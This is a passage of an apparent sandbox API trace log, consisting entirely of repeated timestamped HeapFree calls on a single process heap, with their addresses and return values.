hHeap=0x420000) returned 1 [0198.768] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.769] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.770] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.770] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.771] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.771] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.771] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.772] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.772] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.773] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.774] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.774] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.774] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.776] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.777] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.777] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0198.777] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.777] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0198.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.786] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.787] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0198.791] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0198.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0198.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.273] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.273] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.274] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.275] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.275] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.276] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.276] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.278] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.278] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.278] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.285] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.285] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.293] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0199.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0199.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.298] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0199.302] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.308] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.308] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0199.308] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.312] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.313] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.313] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.314] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.315] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.316] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.316] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.318] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.318] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.321] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.708] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.709] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.711] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.711] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.712] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.712] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.713] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.714] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.714] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.715] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.716] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.716] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.717] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.718] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.719] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.719] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.719] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.722] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.724] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.724] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.725] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.726] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0199.727] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.727] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0199.727] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.728] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0199.732] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.738] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.738] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0199.738] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.741] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.742] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.743] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.743] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.744] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.745] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.745] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.746] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.747] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.748] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.749] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.750] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.751] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.752] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.752] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.960] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.960] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.961] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.961] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.962] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.962] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.962] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.963] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.964] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.965] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.965] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.966] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.967] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.967] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.971] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.971] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0199.972] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.972] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0199.972] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.973] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0199.977] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0199.978] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0199.978] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0199.980] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0199.984] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.985] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.986] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.987] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.987] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.988] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.989] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.990] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.990] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.991] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.991] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.992] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.993] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.993] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.997] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.997] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.998] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.999] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.000] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.000] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.001] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.001] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.002] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.003] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.321] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.321] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.322] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.323] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.323] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.324] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.327] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.327] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.327] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.327] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0200.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.333] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0200.343] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.344] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.344] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0200.344] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.352] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.355] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.359] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.360] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.361] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.361] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.362] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.362] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.522] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.580] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.581] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.581] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.581] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.582] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.583] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.583] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.584] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.585] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.585] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.585] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.587] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.587] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.587] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0200.587] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.587] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0200.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.598] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.598] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0200.598] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54a0050 | out: hHeap=0x420000) returned 1 [0200.604] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.604] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.606] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.607] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.608] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.608] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 